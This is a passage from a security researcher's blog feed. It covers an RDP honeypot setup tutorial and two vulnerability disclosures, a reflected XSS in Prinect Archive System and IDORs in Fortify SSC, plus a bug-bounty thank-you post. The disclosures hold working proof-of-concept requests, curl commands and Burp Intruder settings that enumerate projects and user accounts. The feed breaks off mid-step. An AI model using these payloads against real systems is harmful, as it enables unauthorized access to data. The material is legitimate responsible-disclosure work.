python-qt4</pre><p><strong>Step4:</strong> Validation, If everything was OK should be executing the following commands:</p><pre># rdpy-rdpcredsspmitm.py<br># rdpy-rdpmitm.py<br># rdpy-rssplayer.py<br># rdpy-vncscreenshot.py<br># rdpy-rdpclient.py<br># rdpy-rdphoneypot.py<br># rdpy-rdpscreenshot.py<br># rdpy-vncclient.py</pre><pre><strong>Note:</strong> On Kali Linux I received some errors with  <strong>Twisted</strong> packages just I fixed with following commands: </pre><pre># wget -c <a href="https://twistedmatrix.com/Releases/Twisted/19.2/Twisted-19.2.0.tar.bz2">https://twistedmatrix.com/Releases/Twisted/19.2/Twisted-19.2.0.tar.bz2</a><br># bzip2 -d Twisted-19.2.0.tar.bz2<br># tar -xvf Twisted-19.2.0.tar<br># python setup.py install</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2XODe01XifrOyIZNKOdqMQ.png" /><figcaption>Executing <strong>rdpy-rdpclient.py </strong>&amp; <strong>rdpy-rdphoneypot.py</strong></figcaption></figure><p><strong>Step5:</strong> Create a MiTM attack and record the session (RSS files), the idea is get show a visible screen for intruders (Fake Remote Desktop):</p><pre># <strong>rdpy-rdpmitm.py</strong> -o /root/honeypots_arsenal/ <strong>192.168.1.17</strong></pre><pre>Where <strong>192.168.1.17 </strong>is the real Windows Server 2008 IP address with RDP service enable</pre><pre>Start a RDP connection to your localhost or 127.0.0.1 using xfreerdp</pre><pre># <strong>xfreerdp </strong>--no-nla <strong>127.0.0.1</strong></pre><pre>To see:</pre><pre>[*] INFO: *******************************************<br>[*] INFO: *          SSL Security selected          *<br>[*] INFO: *******************************************</pre><pre>^C</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nwSfPYbWYkWWXle-iFfaKA.png" /><figcaption>RDP session recorded (RSS file)</figcaption></figure><p><strong>Step6: </strong>Replay your session recorded with <strong>rdpy-rssplayer.py</strong> command, this is the record (screen) that intruders will see:</p><pre># <strong>rdpy-rssplayer.py</strong> 20190601025837_127.0.0.1_1.rss</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wzjlD9otWB2Iumu-afXovg.png" /></figure><p><strong>Step7:</strong> Time to run your RDP Honeypot , just execute the following command:</p><pre># <strong>rdpy-rdphoneypot.py</strong> 20190601025837_127.0.0.1_1.rss</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0nc7stw4jqccnCPi5_A2Bg.png" /><figcaption>Executing <strong>rdpy-rdphoneypot.py</strong> with session recorded (RSS file)</figcaption></figure><p><strong>Step8:</strong> Check if the RDP service is listen on port 3389 into your Raspberry PI using nmap</p><pre># <strong>nmap</strong> -F localhost</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qlf3pk0w1QFtMZNS-qO8uA.png" /><figcaption>Running nmap to check the RDP service is listen locally</figcaption></figure><p><strong>Step9:</strong> Setup your router to give access to the intruders on service 3389 (Remote Desktop Protocol) and test if the RDP service is listen on port 3389 using nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*2VGpaNCKoUUZEVJVFQEa9w.png" /><figcaption>NAT/PAT Setup Orange Router</figcaption></figure><pre><strong>nmap</strong> -F (your external IP address)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7RnXPNmhdjejQn7oQamqRQ.png" /><figcaption>Running nmap to check the RDP service is listen remote</figcaption></figure><p><strong>Step10:</strong> Enable your <strong>tcpdump</strong> and capture all the traffic arrive on port 3389</p><pre># tcpdump tcp port 3389 -i eth0 -vvX -w rdp.pcap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JQpLoJTAgAm8Rd-WaK24gw.png" /><figcaption>Capturing traffic on port 3389 with tcpdump</figcaption></figure><h3><strong>Packet Analysis</strong></h3><p><strong>Step11:</strong> Install tcpick , wireshark , bro and perform an analysis of pcap file (rdp.pcap)</p><pre># apt-get install tcpick<br># apt-get install wireshark<br># apt-get install cmake make gcc g++ flex git bison python-dev swig libpcap-dev libssl-dev zlib1g-dev -y<br># apt-get install libgeoip-dev -y<br># apt-get install libmaxminddb-dev<br># apt-get install bro broctl bro-aux -y</pre><pre>Packet analysis with tcpick <br># tcpick -C -yP -r rdp.pcap | more</pre><pre><strong>Voila! </strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ymaFuj96ATyve4TOt6I46w.png" /><figcaption>Executing tcpick (Packet Analysis)</figcaption></figure><p><strong>Step12:</strong> Review in deep with human readable logs using bro (the following command will create log files)</p><pre># bro -r rdp.pcap -C</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_uVTVRwhZOcOlVyBGb0OyQ.png" /><figcaption>Generating human readable logs with bro command</figcaption></figure><pre># cat <strong>rdp.log </strong>| <strong>bro-cut</strong> id.orig_h id.orig_p id.resp_h id.resp_p cookie result security_protocol keyboard_layout client_build client_name | more </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jMK-T9e5dvnxM1FNwWiG2A.png" /><figcaption>Reading rdp.log file with bro-cut</figcaption></figure><h3><strong>Resources</strong></h3><p><a href="https://github.com/citronneur/rdpy">https://github.com/citronneur/rdpy</a><br><a href="https://stackoverflow.com/questions/17476761/importerror-no-module-named-twisted-internet">https://stackoverflow.com/questions/17476761/importerror-no-module-named-twisted-internet</a><br><a href="https://tools.kali.org/reporting-tools/rdpy">https://tools.kali.org/reporting-tools/rdpy</a><br><a href="https://docs.zeek.org/en/stable/quickstart/#managing-bro-with-brocontrol">https://docs.zeek.org/en/stable/quickstart/#managing-bro-with-brocontrol</a><br><a href="https://blog.rapid7.com/2017/06/24/how-to-install-and-configure-bro-on-ubuntu-linux/">https://blog.rapid7.com/2017/06/24/how-to-install-and-configure-bro-on-ubuntu-linux/</a></p><ul><li><a href="https://www.trustedsec.com/2019/01/adventures-of-an-rdp-honeypot-part-one-rdp-security/">Adventures of an RDP Honeypot - Part One: RDP Security - TrustedSec</a></li><li><a href="https://www.trustedsec.com/2019/01/adventures-of-an-rdp-honeypot-part-two-know-you-enemy/">Adventures of an RDP Honeypot - Part Two: Know Your Enemy - TrustedSec</a></li><li><a href="https://www.trustedsec.com/2019/02/adventures-of-an-rdp-honeypot-part-three-creation-of-an-rdp-honeypot/">Adventures of an RDP Honeypot - Part Three: Creation of an RDP Honeypot - TrustedSec</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=29a167f78cc1" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[A Reflected (XSS) in Print Archive System v2015 release 2.6 CVE-2019–10685]]></title>
            <link>https://medium.com/@alt3kx/a-reflected-xss-in-print-archive-system-v2015-release-2-6-cve-2019-10685-b60763b7768b?source=rss-7413f5a9ff32------2</link>
            <guid isPermaLink="false">https://medium.com/p/b60763b7768b</guid>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[alt3kx]]></dc:creator>
            <pubDate>Mon, 06 May 2019 14:37:19 GMT</pubDate>
            <atom:updated>2019-05-06T14:37:19.710Z</atom:updated>
            <content:encoded><![CDATA[<p>I started to disclosure some pending CVEs , in fact there are few or null vulnerabilities reported for this software (I guess), take note dear Researchers/Pentesters you can play with different XSS attacks , CSRF, LFI/RFI and more… :P , I started to disclosure this first one for now</p><p>What is Print Archive System? Heidelberg® offers as archiving tool more info <a href="https://www.heidelberg.com/">vedor page: https://www.heidelberg.com</a></p><p><strong>CVE-2019–10685</strong></p><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10685">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10685</a></p><p><strong>Vulnerability</strong></p><p>The user supplied input containing JavaScript is echoed back in JavaScript code in an HTML response via the “TextField” parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*mCa9FN1G-gmFCVDL-RQ1Ug.png" /><figcaption>Prinect Archive System 2015 Version 2.6</figcaption></figure><p><strong>Proof of concept exploit:</strong></p><p>Reflected XSS<br>Payload: %3cscript%3ealert(1)%3c%2fscript%3e</p><p>The offending GET request is (no credentials required):</p><pre>GET /am/Login,loginForm.sdirect?formids=TextField%2cTextField_0%2clink&amp;submitmode=&amp;submitname=&amp;TextField=<strong>%3cscript%3ealert(1)%3c%2fscript%3e</strong>&amp;TextField_0=l0V%21i1s%21C2 HTTP/1.1<br>Host: victim_IP:8090<br>Accept-Encoding: gzip, deflate<br>Accept: */*<br>Accept-Language: en-US,en-GB;q=0.9,en;q=0.8<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36<br>Connection: close<br>Cookie: JSESSIONID=C665EA9A7594E736D39C93EA8763A01</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ImKZOxaesjDecUZF7ofs5A.png" /><figcaption>Offending GET request (XSS injection)</figcaption></figure><p>Reflected XSS Reponse:</p><pre>HTTP/1.1 200 OK<br>Server: Apache-Coyote/1.1<br>Content-Type: text/html;charset=UTF-8<br>Date: Mon, 04 Feb 2019 13:15:12 GMT<br>Connection: close</pre><pre>[../snip]</pre><pre>id=&quot;msgContainer&quot;&gt;Authentication failed for: <strong>&lt;script&gt;alert(1)</strong>&lt;/script&gt; &lt;br/&gt;Click Help button for more information about login permissions.&lt;/div&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GA5Zt4Qz9JJLd0Ekaln9vw.png" /></figure><p>Playing with curl:</p><pre># curl -i -s -k -X GET</pre><pre>-H &quot;Host: victim:8090&quot; <br>-H &quot;Accept-Encoding: gzip, deflate&quot; <br>-H &quot;Accept: */*&quot; <br>-H &quot;Accept-Language: en-US,en-GB;q=0.9,en;q=0.8&quot; <br>-H &quot;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36&quot; <br>-H &quot;Connection: close&quot; <br>-H &quot;Cookie: JSESSIONID=C665EA9A7594E736D39C93EA8763A01F&quot; <br>-b &quot;JSESSIONID=C665EA9A7594E736D39C93EA8763A01F&quot; <br>&quot;<a href="http://victim:8090/am/Login,loginForm.sdirect?formids=TextField%2cTextField_0%2clink&amp;submitmode=&amp;submitname=&amp;TextField=%3cscript%3ealert(1)%3c%2fscript%3e&amp;TextField_0=l0V%21i1s%21C2">http://victim:8090/am/Login,loginForm.sdirect?formids=TextField%2cTextField_0%2clink&amp;submitmode=&amp;submitname=&amp;TextField=%3cscript%3ealert(1)%3c%2fscript%3e&amp;TextField_0=l0V%21i1s%21C2</a>&quot; <br>--proxy <a href="http://127.0.0.1:8080/">http://127.0.0.1:8080</a></pre><p>Simple payload:</p><pre><a href="http://victim_ip:8090/am/Login,loginForm.sdirect?formids=TextField%2cTextField_0%2clink&amp;submitmode=&amp;submitname=&amp;TextField=%3cscript%3ealert(1)%3c%2fscript%3e&amp;TextField_0=l0V%21i1s%21C2">http://victim_IP:8090/am/Login,loginForm.sdirect?formids=TextField%2cTextField_0%2clink&amp;submitmode=&amp;submitname=&amp;TextField=%3cscript%3ealert(&#39;Alex XSS&#39;)%3c%2fscript%3e&amp;TextField_0=l0V%21i1s%21C2</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TVdIBn24BBNaCFesVkwyXg.png" /><figcaption>Reflected (XSS) in Print Archive System v2015 release 2.6</figcaption></figure><p>Timeline<br>================</p><p>2019–02–04: Discovered<br>2019–02–25: Retest PRO environment <br>2019–03–25: Retest on researcher’s ecosystem<br>2019–04–02: Vendor notification<br>2019–04–03: Vendor feedback received<br>2019–04–08: Reminder sent <br>2019–04–08: 2nd reminder sent<br>2019–04–11: Internal communication <br>2019–04–26: No more feedback received from the vendor<br>2019–04–30: New issues found <br>2019–05–06: Public Disclosure</p><p>Discovered by:<br>Alex Hernandez aka alt3kx:<br>================<br>Please visit <a href="https://github.com/alt3kx">https://github.com/alt3kx</a> for more information.</p><p>My current exploit list @exploit-db: <br><a href="https://www.exploit-db.com/author/?a=1074">https://www.exploit-db.com/author/?a=1074</a> <br><a href="https://www.exploit-db.com/author/?a=9576">https://www.exploit-db.com/author/?a=9576</a></p><p>Mitigations<br>================<br> No more feedback received from the vendor<br><a href="https://www.heidelberg.com/">https://www.heidelberg.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b60763b7768b" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[My reward I have received by Microfocus Corp. #bugbounty]]></title>
            <link>https://medium.com/@alt3kx/my-reward-i-have-received-by-microfocus-corp-bugbounty-8b7823f65944?source=rss-7413f5a9ff32------2</link>
            <guid isPermaLink="false">https://medium.com/p/8b7823f65944</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[alt3kx]]></dc:creator>
            <pubDate>Mon, 21 Jan 2019 22:45:38 GMT</pubDate>
            <atom:updated>2019-01-22T01:34:14.144Z</atom:updated>
            <content:encoded><![CDATA[<h3>The reward I have received by Microfocus Corp. #bugbounty</h3><p>I back from my holidays and I am very very glad that I have received the gratifications and rewards from <a href="https://www.microfocus.com/en-us/home"><strong>Microfocus Company </strong></a>regarding the latest vulnerabilities that I founded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yvuWWkQftiEYEtVgH3m3CQ.jpeg" /><figcaption>Reward (front view t-shirt)</figcaption></figure><p>Really amazing the big detail to receive a t-shirt with my <strong>CVEs (</strong><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7690"><strong>CVE-2018–7690</strong></a><strong>, </strong><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7691"><strong>CVE-2018–7691</strong></a><strong>, </strong><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12463"><strong>CVE-2018–12463</strong></a><strong>) </strong>stamped on behind :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HETnGH9xp5JsY-mtlBT4PQ.jpeg" /><figcaption>Reward (behind view t-shirt)</figcaption></figure><p>Thanks a lot the CSIRT team from <a href="https://www.microfocus.com/en-us/home">Microfocus </a>the opportunity to contribute with them fixing and improve his products</p><p>…all the guys that I received invitations to participate into the bugbounty as #<a href="https://www.hackerone.com/">hackerone </a>and other private programs r0x!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R3XxMtgslHFfHruaBkxWrQ.jpeg" /><figcaption>Reward (t-shirt on)</figcaption></figure><p>This year (2019), as commented with other friends of mine during the C<a href="https://www.ccc.de/">CC Germany</a>, I will keep continue doing research and contributing to WW security community and of course reserving some slots to participate into the #bugbounty programs (we know each more and more people some researchers and pentesters focusing on this), conferences and CTFs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bd3st5Y4-BqSh1u8SacFOw.jpeg" /><figcaption>Reward (t-shirt on)</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8b7823f65944" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[IDORs (Insecure Direct Object Reference) over Fortify Software Security Center (SSC) 17.10,]]></title>
            <link>https://medium.com/@alt3kx/idors-insecure-direct-object-reference-over-fortify-software-security-center-ssc-17-10-8c7916ca98bc?source=rss-7413f5a9ff32------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c7916ca98bc</guid>
            <category><![CDATA[api]]></category>
            <dc:creator><![CDATA[alt3kx]]></dc:creator>
            <pubDate>Wed, 12 Dec 2018 17:23:16 GMT</pubDate>
            <atom:updated>2018-12-12T17:23:16.405Z</atom:updated>
            <content:encoded><![CDATA[<h3>IDORs (Insecure Direct Object Reference) over Fortify Software Security Center (SSC) 17.10, 17.20 &amp; 18.10 (CVE-2018–7690, CVE-2018–7691)</h3><p>Hello everyone, we continue disclosure some CVEs/exploits (0days) with specific software/hardware products. Few months ago during my latest research, I found interesting security issues over Fortify Software, now <strong>IDOR </strong>attack vectors .</p><p>What is Fortify? is a secure product to perform source code audit/analysis based on “rulepacks” that could be integrated with other security tools as WebInspect (same vendor) or Jenkins, etc, product details here: <a href="https://marketplace.microfocus.com/fortify">https://marketplace.microfocus.com/fortify</a></p><p><strong>CVE-2018–7690</strong></p><p><strong>Vulnerability</strong></p><p>Fortify SSC (Software Security Center) 7.10, does not properly check ownership of projects, which allows remote authenticated<strong> (view-only)</strong> users<br>to read arbitrary details via API projects ID parameter to <strong>/api/v1/projects/{NUMBER}</strong></p><p>Fortify Version Details here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rrCg5GR5m4yZDwuaHG_Qjw.png" /><figcaption>Fortify Software Security Center (SSC) Version 17.10</figcaption></figure><p>Note: <strong>View-only Role</strong>, is a restricted role, can view results, but cannot interfere with the issue triage or the remediation process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*1jpaNCG17N-CBRqmq-k-nA.png" /><figcaption>Fortify Software Security Center (SSC) Role Matrix</figcaption></figure><p><strong>Proof of concept exploit:</strong></p><p>Pre-requisites:</p><p>- curl command deployed (Windows or Linux) <br>- jq command deployed (for parsing JSON fields), (Windows or Linux) <br>- Burpsuite Free/Pro deployed or any other Proxy to catch/send the request (optional)</p><p>Step (1): LogOn into fortifyserver.com SSC (Software Security Center) 17.10 with your <strong>view-only role (restricted),</strong></p><p>The URL normally is available as following:</p><pre>Target: <a href="https://fortifyserver.com/ssc/#/">https://fortifyserver.com/ssc/#/</a></pre><p>Step (2): Once logged extract the Cookie field, the format normally as following:</p><pre>“Cookie: JSESSIONID=A98ACC5DA0FB519210D9C198D2F4E3FF;”</pre><p>Step (3): Start BurpSuite Free/Pro or any other HTTP proxy (optional) listen port 8080 as default</p><p>Step (4): The offending <strong>GET </strong>below:</p><pre><strong>GET /ssc/api/v1/projects/2 HTTP/1.1</strong><br>Host: fortifyserver.com<br>Connection: close<br>Upgrade-Insecure-Requests: 1<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8<br>Accept-Encoding: gzip, deflate<br>Accept-Language: en-US,en;q=0.9<br><strong>Cookie: JSESSIONID=A98ACC5DA0FB519210D9C198D2F4E3FF;</strong></pre><p>Step (5): Test the first <strong>GET </strong>(to be included the cookie session<strong>) </strong>request and parsing the JSON data received using curl and jq commands as following:</p><pre># <strong>curl -s -k -X GET https://fortifyserver.com/ssc/api/v1/projects/2</strong></pre><pre>-H &quot;Host: fortifyserver.com&quot; <br>-H &quot;Connection: close&quot; <br>-H &quot;User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36&quot; <br>-H &quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8&quot; <br>-H &quot;Accept-Encoding: gzip, deflate&quot; <br>-H &quot;Accept-Language: en-US,en;q=0.9&quot; <br>-H &quot;Cookie: JSESSIONID=A98ACC5DA0FB519210D9C198D2F4E3FF;&quot; <br><strong>-b &quot;JSESSIONID=A98ACC5DA0FB519210D9C198D2F4E3FF&quot;</strong> <br><strong>--proxy http://127.0.0.1:8080 | jq &#39;.data&#39;</strong></pre><p>You should see the following response project details:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AwLGHfhStFPnXF_xAzEW8g.png" /><figcaption>Using curl command to get project details (1)</figcaption></figure><p>Step (6): Now extract all the projects details registered into Fortify SSC server:</p><p>Payload: <strong>https://fortifyserver.com/ssc/api/v1/projects/{NUMBER}</strong> , and change the number as following:</p><pre># curl -s -k -X GET https://fortifyserver.com/ssc/api/v1/projects/<strong>5</strong></pre><pre>-H &quot;Host: fortifyserver.com&quot; <br>-H &quot;Connection: close&quot; <br>-H &quot;User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36&quot; <br>-H &quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8&quot; <br>-H &quot;Accept-Encoding: gzip, deflate&quot; <br>-H &quot;Accept-Language: en-US,en;q=0.9&quot; <br>-H &quot;Cookie: JSESSIONID=A98ACC5DA0FB519210D9C198D2F4E3FF;&quot; <br><strong>-b &quot;JSESSIONID=A98ACC5DA0FB519210D9C198D2F4E3FF&quot; </strong><br><strong>--proxy http://127.0.0.1:8080 | jq &#39;.data&#39;</strong></pre><p>You should see other projects details available as following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-M0_Hhp_7zD_lDKjEFL_PQ.png" /><figcaption>Using curl command to get project details (2)</figcaption></figure><p>Step (7): Automate with BurpSuite Pro/Free choose:</p><pre><strong>Payload Positions: &quot;</strong>Intruder Tab -&gt; Positions” highlight as following:</pre><pre>-&gt; /ssc/api/v1/projects/<strong>§1§</strong></pre><pre><strong>Payloads set:</strong> “Intruder Tab -&gt; Payloads” with the following data:</pre><pre>-&gt; Payload set: 1<br>-&gt; Payload type: Numbers</pre><pre><strong>Payload Options [Numbers]:</strong></pre><pre>-&gt; Type: Sequential<br>-&gt; From: 0<br>-&gt; To: 1500<br>-&gt; Step: 1</pre><pre><strong>Then start attack… </strong></pre><pre>Have fun!</pre><p>Final <strong>IDOR </strong>extraction (project details)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NFOsgRM88-6Wzi6pZZezCA.png" /><figcaption>Project details extraction using Burp Suite Professional</figcaption></figure><p><strong>Timeline:</strong></p><p>2018–05–24: Discovered<br>2018–05–25: Retest PRO environment<br>2018–05–31: Vendor notification, two issues found <br>2018–05–31: Vendor feedback received <br>2018–06–01: Internal communication<br>2018–06–01: Vendor feedback, two issues are confirmed<br>2018–06–05: Vendor notification, new issue found<br>2018–06–06: Vendor feedback, evaluating High submission<br>2018–06–08: Vendor feedback, High issue is confirmed<br>2018–06–19: Researcher, reminder sent<br>2018–06–22: Vendor feedback, summary of CVEs handled as official way<br>2018–06–26: Vendor feedback, official Hotfix for High issue available to test<br>2018–06–29: Researcher feedback<br>2018–07–02: Researcher feedback<br>2018–07–04: Researcher feedback, Hotfix tested on QA environment<br>2018–07–05: Vendor feedback, fixes scheduled Aug/Sep 2018<br>2018–08–02: Reminder to vendor, feedback received OK!<br>2018–09–26: Reminder to vendor, feedback received OK!<br>2018–09–26: Fixes received from the vendor<br>2018–10–02: Internal QA environment failed, re-building researcher ‘s ecosystem<br>2018–10–11: Internal QA environment failed, re-building researcher ‘s ecosystem<br>2018–10–11: Feedback from the vendor, technical details provided to the researcher<br>2018–10–16: Fixes now tested on QA environment<br>2018–11–08: Reminder received from the vendor, feedback provided by researcher<br>2018–11–09: Re-rest fixes on QA environment<br>2018–11–15: Re-rest fixes on QA environment now with SSC 18.20 version deployed<br>2018–11–21: Researcher feedback<br>2018–11–23: Fixes working well/confirmed by researcher<br>2018–11–23: Vendor feedback, final details to disclosure the CVE and official fixes available for customers.<br>2018–11–26: Vendor feedback, CVE, and official fixes to be disclosure<br>2018–11–26: Agreements with the vendor to publish the CVE/Advisory. <br>2018–11–27: Public report</p><p>Discovered by:<br>Alex Hernandez aka alt3kx:<br>================<br>Please visit <a href="https://github.com/alt3kx">https://github.com/alt3kx</a> for more information.</p><p>My current exploit list @exploit-db: <br><a href="https://www.exploit-db.com/author/?a=1074">https://www.exploit-db.com/author/?a=1074</a> <br><a href="https://www.exploit-db.com/author/?a=9576">https://www.exploit-db.com/author/?a=9576</a></p><p>Mitigations<br>=======</p><p>Provided by the vendor here:</p><p>Document ID: KM03298201<br><a href="https://softwaresupport.softwaregrp.com/doc/KM03298201">https://softwaresupport.softwaregrp.com/doc/KM03298201</a></p><p><strong>CVE-2018–7691</strong></p><p>Vulnerability<br><br>Fortify SSC (Software Security Center) 7.10, does not properly check ownership of “authEntities”, which allows remote authenticated (view-only) users to read arbitrary details via <strong>API bulk parameter</strong> to <strong>/api/v1/projectVersions/{NUMBER}/authEntities</strong></p><p><strong>Proof of Concept exploit:</strong></p><p>Pre-requisites: idem</p><p>Step (1): idem</p><p>Step (2): Once logged extract the Cookie field, the format normally as following:</p><pre>“Cookie: JSESSIONID=69B1DBD72FCA8DB57C08B01655A07414;”</pre><p>Step (3): Start BurpSuite Free/Pro or any other HTTP proxy (optional) listen port 8080 as default</p><p>Step (4): The offending <strong>POST </strong>below:</p><pre><strong>POST /ssc/api/v1/bulk HTTP/1.1</strong><br>Host: fortifyserver.com<br>Connection: close<br>Accept: application/json, text/plain, */*<br>X-Requested-With: XMLHttpRequest<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36<br>Content-Type: application/json;charset=UTF-8<br>Accept-Encoding: gzip, deflate<br>Accept-Language: en-US,en;q=0.9<br>Cookie: JSESSIONID=69B1DBD72FCA8DB57C08B01655A07414;<br>Content-Length: 123</pre><pre>{“requests”:[{“uri”:”<strong>https://fortifyserver.com/ssc/api/v1/projectVersions/3/authEntities</strong>&quot;,&quot;httpVerb&quot;:&quot;<strong>GET</strong>&quot;}]}\x0d\x0a</pre><p>Step (5): Test the first <strong>POST </strong>(to be included the cookie session<strong>) </strong>request and parsing the JSON data received using <strong>curl</strong> and<strong> jq </strong>commands as following:</p><pre><strong># curl -s -k -X POST https://fortifyserver.com/ssc/api/v1/bulk</strong></pre><pre>-H “Host: fortifyserver.com” <br>-H “Connection: close” <br>-H “Accept: application/json, text/plain, */*” <br>-H “X-Requested-With: XMLHttpRequest” <br>-H “User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36” <br>-H “Content-Type: application/json;charset=UTF-8” <br>-H “Accept-Encoding: gzip, deflate” <br>-H “Accept-Language: en-US,en;q=0.9” <br>-H “Cookie: JSESSIONID=69B1DBD72FCA8DB57C08B01655A07414;” <br>-b “JSESSIONID=69B1DBD72FCA8DB57C08B01655A07414;” <br> — data-binary “{\”requests\”:[{\”uri\”:\&quot;<a href="https://fortifyserver.com/ssc/api/v1/projectVersions/0/authEntities/">https://fortifyserver.com/ssc/api/v1/projectVersions/0/authEntities\</a>&quot;,\&quot;httpVerb\&quot;:\&quot;GET\&quot;}]}\x0d\x0a&quot; <br> — proxy <a href="http://127.0.0.1:8080/">http://127.0.0.1:8080</a> | jq ‘.data[] .responses[] .body .responseCode’</pre><p>You should see the following response:<strong> 200 OK!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XTf39wNrYNeNJ_T-ey-dwg.png" /><figcaption>Using curl command to get 200 OK! response</figcaption></figure><p>Step (6): Now extract all <strong>local </strong>and <strong>LDAP/Active Directory </strong>users registered into Fortify SSC server:</p><p><strong>Payload: /api/v1/projectVersions/{NUMBER}/authEntities</strong>, see the field “ <strong>— data-binary</strong>” below and change the number as following:</p><pre><strong># curl -s -k -X POST https://fortifyserver.com/ssc/api/v1/bulk</strong></pre><pre>-H “Host: fortifyserver.com” <br>-H “Connection: close” <br>-H “Accept: application/json, text/plain, */*” <br>-H “X-Requested-With: XMLHttpRequest” <br>-H “User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36” <br>-H “Content-Type: application/json;charset=UTF-8” <br>-H “Accept-Encoding: gzip, deflate” <br>-H “Accept-Language: en-US,en;q=0.9” <br>-H “Cookie: JSESSIONID=69B1DBD72FCA8DB57C08B01655A07414;” <br>-b “JSESSIONID=69B1DBD72FCA8DB57C08B01655A07414;” <br> <strong>— data-binary </strong>“{\”requests\”:[{\”uri\”:\&quot;https://fortifyserver.com/ssc/api/v1/projectVersions<strong>/3/</strong>authEntities\&quot;,\&quot;httpVerb\&quot;:\&quot;GET\&quot;}]}\x0d\x0a&quot; <br> — <strong>proxy http://127.0.0.1:8080 | jq ‘.data[] .responses[] .body .data[] .entityName’</strong></pre><p>You should see the following response with users available:</p><pre><strong>“admin”<br>“sca”<br>“alex”</strong><br>[../snip]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xSo9YLOX0T0dVU30yV-azw.png" /><figcaption>Using curl command to get Local/LDAP users</figcaption></figure><p>Step (7): Automate with BurpSuite Pro/Free choose:</p><pre><strong>Payload Positions: &quot;</strong>Intruder Tab -&gt; Positions” highlight as following:</pre><pre>-&gt; /api/v1/projectVersions/<strong>§1§</strong>/authEntities</pre><pre><strong>Payloads set:</strong> “Intruder Tab -&gt; Payloads” with the following data:</pre><pre>-&gt; Payload set: 1<br>-&gt; Payload type: Numbers</pre><pre><strong>Payload Options [Numbers]:</strong></pre><pre>-&gt; Type: Sequential<br>-&gt; From: 0<br>-&gt; To: 1500<br>-&gt; Step: 